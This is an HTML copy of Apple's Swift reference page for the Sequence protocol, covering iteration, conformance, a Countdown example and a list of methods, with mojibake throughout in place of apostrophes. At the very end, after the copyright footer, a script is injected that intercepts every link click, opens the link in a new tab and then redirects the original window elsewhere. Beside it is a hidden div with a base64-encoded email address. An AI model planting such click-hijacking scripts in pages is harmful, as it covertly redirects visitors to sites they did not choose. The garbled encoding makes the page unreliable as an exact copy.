<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<!--
{
  "availability" : [
    "iOS: 8.0.0 -",
    "iPadOS: 8.0.0 -",
    "macCatalyst: 13.0.0 -",
    "macOS: 10.10.0 -",
    "tvOS: 9.0.0 -",
    "visionOS: 1.0.0 -",
    "watchOS: 2.0.0 -"
  ],
  "documentType" : "symbol",
  "framework" : "Swift",
  "identifier" : "/documentation/Swift/Sequence",
  "metadataVersion" : "0.1.0",
  "role" : "Protocol",
  "symbol" : {
    "kind" : "Protocol",
    "modules" : [
      "Swift"
    ],
    "preciseIdentifier" : "s:ST"
  },
  "title" : "Sequence"
}
--><html><body><p># Sequence

A type that provides sequential, iterated access to its elements.

```
protocol Sequence<element>
```

## Overview

A sequence is a list of values that you can step through one at a time. The
most common way to iterate over the elements of a sequence is to use a
`for`-`in` loop:

```
let oneTwoThree = 1...3
for number in oneTwoThree {
    print(number)
}
// Prints "1"
// Prints "2"
// Prints "3"
```

While seemingly simple, this capability gives you access to a large number
of operations that you can perform on any sequence. As an example, to
check whether a sequence includes a particular value, you can test each
value sequentially until you&acirc;&#128;&#153;ve found a match or reached the end of the
sequence. This example checks to see whether a particular insect is in an
array.

```
let bugs = ["Aphid", "Bumblebee", "Cicada", "Damselfly", "Earwig"]
var hasMosquito = false
for bug in bugs {
    if bug == "Mosquito" {
        hasMosquito = true
        break
    }
}
print("'bugs' has a mosquito: \(hasMosquito)")
// Prints "'bugs' has a mosquito: false"
```

The `Sequence` protocol provides default implementations for many common
operations that depend on sequential access to a sequence&acirc;&#128;&#153;s values. For
clearer, more concise code, the example above could use the array&acirc;&#128;&#153;s
`contains(_:)` method, which every sequence inherits from `Sequence`,
instead of iterating manually:

```
if bugs.contains("Mosquito") {
    print("Break out the bug spray.")
} else {
    print("Whew, no mosquitos!")
}
// Prints "Whew, no mosquitos!"
```

# Repeated Access

The `Sequence` protocol makes no requirement on conforming types regarding
whether they will be destructively consumed by iteration. As a
consequence, don&acirc;&#128;&#153;t assume that multiple `for`-`in` loops on a sequence
will either resume iteration or restart from the beginning:

```
for element in sequence {
    if ... some condition { break }
}

for element in sequence {
    // No defined behavior
}
```

In this case, you cannot assume either that a sequence will be consumable
and will resume iteration, or that a sequence is a collection and will
restart iteration from the first element. A conforming sequence that is
not a collection is allowed to produce an arbitrary sequence of elements
in the second `for`-`in` loop.

To establish that a type you&acirc;&#128;&#153;ve created supports nondestructive iteration,
add conformance to the `Collection` protocol.

# Conforming to the Sequence Protocol

Making your own custom types conform to `Sequence` enables many useful
operations, like `for`-`in` looping and the `contains` method, without
much effort. To add `Sequence` conformance to your own custom type, add a
`makeIterator()` method that returns an iterator.

Alternatively, if your type can act as its own iterator, implementing the
requirements of the `IteratorProtocol` protocol and declaring conformance
to both `Sequence` and `IteratorProtocol` are sufficient.

Here&acirc;&#128;&#153;s a definition of a `Countdown` sequence that serves as its own
iterator. The `makeIterator()` method is provided as a default
implementation.

```
struct Countdown: Sequence, IteratorProtocol {
    var count: Int

    mutating func next() -&gt; Int? {
        if count == 0 {
            return nil
        } else {
            defer { count -= 1 }
            return count
        }
    }
}

let threeToGo = Countdown(count: 3)
for i in threeToGo {
    print(i)
}
// Prints "3"
// Prints "2"
// Prints "1"
```

# Expected Performance

A sequence should provide its iterator in O(1). The `Sequence` protocol
makes no other requirements about element access, so routines that
traverse a sequence should be considered O(*n*) unless documented
otherwise.

## Topics

### Creating an Iterator

[`makeIterator()`](/documentation/Swift/Sequence/makeIterator())

Returns an iterator over the elements of this sequence.

[`Iterator`](/documentation/Swift/Sequence/Iterator)

A type that provides the sequence&acirc;&#128;&#153;s iteration interface and
encapsulates its iteration state.

[`Element`](/documentation/Swift/Sequence/Element)

A type representing the sequence&acirc;&#128;&#153;s elements.

### Finding Elements

[`contains(_:)`](/documentation/Swift/Sequence/contains(_:))

Returns a Boolean value indicating whether the sequence contains the
given element.

[`contains(where:)`](/documentation/Swift/Sequence/contains(where:))

Returns a Boolean value indicating whether the sequence contains an
element that satisfies the given predicate.

[`allSatisfy(_:)`](/documentation/Swift/Sequence/allSatisfy(_:))

Returns a Boolean value indicating whether every element of a sequence
satisfies a given predicate.

[`first(where:)`](/documentation/Swift/Sequence/first(where:))

Returns the first element of the sequence that satisfies the given
predicate.

[`min()`](/documentation/Swift/Sequence/min())

Returns the minimum element in the sequence.

[`min(by:)`](/documentation/Swift/Sequence/min(by:))

Returns the minimum element in the sequence, using the given predicate as
the comparison between elements.

[`max()`](/documentation/Swift/Sequence/max())

Returns the maximum element in the sequence.

[`max(by:)`](/documentation/Swift/Sequence/max(by:))

Returns the maximum element in the sequence, using the given predicate
as the comparison between elements.

### Selecting Elements

[`prefix(_:)`](/documentation/Swift/Sequence/prefix(_:))

Returns a sequence, up to the specified maximum length, containing the
initial elements of the sequence.

[`prefix(while:)`](/documentation/Swift/Sequence/prefix(while:))

Returns a sequence containing the initial, consecutive elements that
satisfy the given predicate.

[`suffix(_:)`](/documentation/Swift/Sequence/suffix(_:))

Returns a subsequence, up to the given maximum length, containing the
final elements of the sequence.

### Excluding Elements

[`dropFirst(_:)`](/documentation/Swift/Sequence/dropFirst(_:))

Returns a sequence containing all but the given number of initial
elements.

[`dropLast(_:)`](/documentation/Swift/Sequence/dropLast(_:))

Returns a sequence containing all but the given number of final
elements.

[`drop(while:)`](/documentation/Swift/Sequence/drop(while:))

Returns a sequence by skipping the initial, consecutive elements that
satisfy the given predicate.

### Transforming a Sequence

[`map(_:)`](/documentation/Swift/Sequence/map(_:))

Returns an array containing the results of mapping the given closure
over the sequence&acirc;&#128;&#153;s elements.

[`compactMap(_:)`](/documentation/Swift/Sequence/compactMap(_:))

Returns an array containing the non-`nil` results of calling the given
transformation with each element of this sequence.

[`flatMap(_:)`](/documentation/Swift/Sequence/flatMap(_:)-jo2y)

Returns an array containing the concatenated results of calling the
given transformation with each element of this sequence.

[`reduce(_:_:)`](/documentation/Swift/Sequence/reduce(_:_:))

Returns the result of combining the elements of the sequence using the
given closure.

[`reduce(into:_:)`](/documentation/Swift/Sequence/reduce(into:_:))

Returns the result of combining the elements of the sequence using the
given closure.

[`lazy`](/documentation/Swift/Sequence/lazy)

A sequence containing the same elements as this sequence,
but on which some operations, such as `map` and `filter`, are
implemented lazily.

[`flatMap(_:)`](/documentation/Swift/Sequence/flatMap(_:)-383uq)

### Iterating Over a Sequence&acirc;&#128;&#153;s Elements

[`forEach(_:)`](/documentation/Swift/Sequence/forEach(_:))

Calls the given closure on each element in the sequence in the same order
as a `for`-`in` loop.

[`enumerated()`](/documentation/Swift/Sequence/enumerated())

Returns a sequence of pairs (*n*, *x*), where *n* represents a
consecutive integer starting at zero and *x* represents an element of
the sequence.

[`underestimatedCount`](/documentation/Swift/Sequence/underestimatedCount)

A value less than or equal to the number of elements in the sequence,
calculated nondestructively.

### Sorting Elements

[`sorted()`](/documentation/Swift/Sequence/sorted())

Returns the elements of the sequence, sorted.

[`sorted(by:)`](/documentation/Swift/Sequence/sorted(by:))

Returns the elements of the sequence, sorted using the given predicate as
the comparison between elements.

[`reversed()`](/documentation/Swift/Sequence/reversed())

Returns an array containing the elements of this sequence in reverse
order.

### Reordering a Sequence&acirc;&#128;&#153;s Elements

[`shuffled()`](/documentation/Swift/Sequence/shuffled())

Returns the elements of the sequence, shuffled.

[`shuffled(using:)`](/documentation/Swift/Sequence/shuffled(using:))

Returns the elements of the sequence, shuffled using the given generator
as a source for randomness.

### Formatting a Sequence

[`formatted()`](/documentation/Swift/Sequence/formatted())

[`formatted(_:)`](/documentation/Swift/Sequence/formatted(_:))

  <doc:>

### Splitting and Joining Elements

[`split(maxSplits:omittingEmptySubsequences:whereSeparator:)`](/documentation/Swift/Sequence/split(maxSplits:omittingEmptySubsequences:whereSeparator:))

Returns the longest possible subsequences of the sequence, in order, that
don&acirc;&#128;&#153;t contain elements satisfying the given predicate. Elements that are
used to split the sequence are not returned as part of any subsequence.

[`split(separator:maxSplits:omittingEmptySubsequences:)`](/documentation/Swift/Sequence/split(separator:maxSplits:omittingEmptySubsequences:))

Returns the longest possible subsequences of the sequence, in order,
around elements equal to the given element.

[`joined()`](/documentation/Swift/Sequence/joined())

Returns the elements of this sequence of sequences, concatenated.

[`joined(separator:)`](/documentation/Swift/Sequence/joined(separator:)-5zjyj)

Returns a new string by concatenating the elements of the sequence,
adding the given separator between each element.

[`joined(separator:)`](/documentation/Swift/Sequence/joined(separator:)-7w47r)

Returns the concatenated elements of this sequence of sequences,
inserting the given separator between each element.

### Comparing Sequences

[`elementsEqual(_:)`](/documentation/Swift/Sequence/elementsEqual(_:))

Returns a Boolean value indicating whether this sequence and another
sequence contain the same elements in the same order.

[`elementsEqual(_:by:)`](/documentation/Swift/Sequence/elementsEqual(_:by:))

Returns a Boolean value indicating whether this sequence and another
sequence contain equivalent elements in the same order, using the given
predicate as the equivalence test.

[`starts(with:)`](/documentation/Swift/Sequence/starts(with:))

Returns a Boolean value indicating whether the initial elements of the
sequence are the same as the elements in another sequence.

[`starts(with:by:)`](/documentation/Swift/Sequence/starts(with:by:))

Returns a Boolean value indicating whether the initial elements of the
sequence are equivalent to the elements in another sequence, using
the given predicate as the equivalence test.

[`lexicographicallyPrecedes(_:)`](/documentation/Swift/Sequence/lexicographicallyPrecedes(_:))

Returns a Boolean value indicating whether the sequence precedes another
sequence in a lexicographical (dictionary) ordering, using the
less-than operator (`&lt;`) to compare elements.

[`lexicographicallyPrecedes(_:by:)`](/documentation/Swift/Sequence/lexicographicallyPrecedes(_:by:))

Returns a Boolean value indicating whether the sequence precedes another
sequence in a lexicographical (dictionary) ordering, using the given
predicate to compare elements.

### Accessing Underlying Storage

[`withContiguousStorageIfAvailable(_:)`](/documentation/Swift/Sequence/withContiguousStorageIfAvailable(_:))

Executes a closure on the sequence&acirc;&#128;&#153;s contiguous storage.

### Publishing a Sequence

[`publisher`](/documentation/Swift/Sequence/publisher)

### Applying AppKit Graphic Operations

Use a sequence of rectangles and other types to perform operations on an AppKit graphic
context.

[`fill(using:)`](/documentation/Swift/Sequence/fill(using:)-l1te)

Fills this list of rects in the current NSGraphicsContext in the context&acirc;&#128;&#153;s
fill color.
The compositing operation of the fill defaults to the context&acirc;&#128;&#153;s
compositing operation, not necessarily using `.copy` like `NSRectFill()`.

[`fill(using:)`](/documentation/Swift/Sequence/fill(using:)-45en6)

Fills this list of rects in the current NSGraphicsContext with that rect&acirc;&#128;&#153;s
associated color
The compositing operation of the fill defaults to the context&acirc;&#128;&#153;s
compositing operation, not necessarily using `.copy` like `NSRectFill()`.

[`clip()`](/documentation/Swift/Sequence/clip())

Modifies the current graphics context clipping path by intersecting it
with the graphical union of this list of rects
This permanently modifies the graphics state, so the current state should
be saved beforehand and restored afterwards.



---

Copyright &copy; 2026 Apple Inc. All rights reserved. | [Terms of Use](https://www.apple.com/legal/internet-services/terms/site.html) | [Privacy Policy](https://www.apple.com/privacy/privacy-policy)
</doc:></element></p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
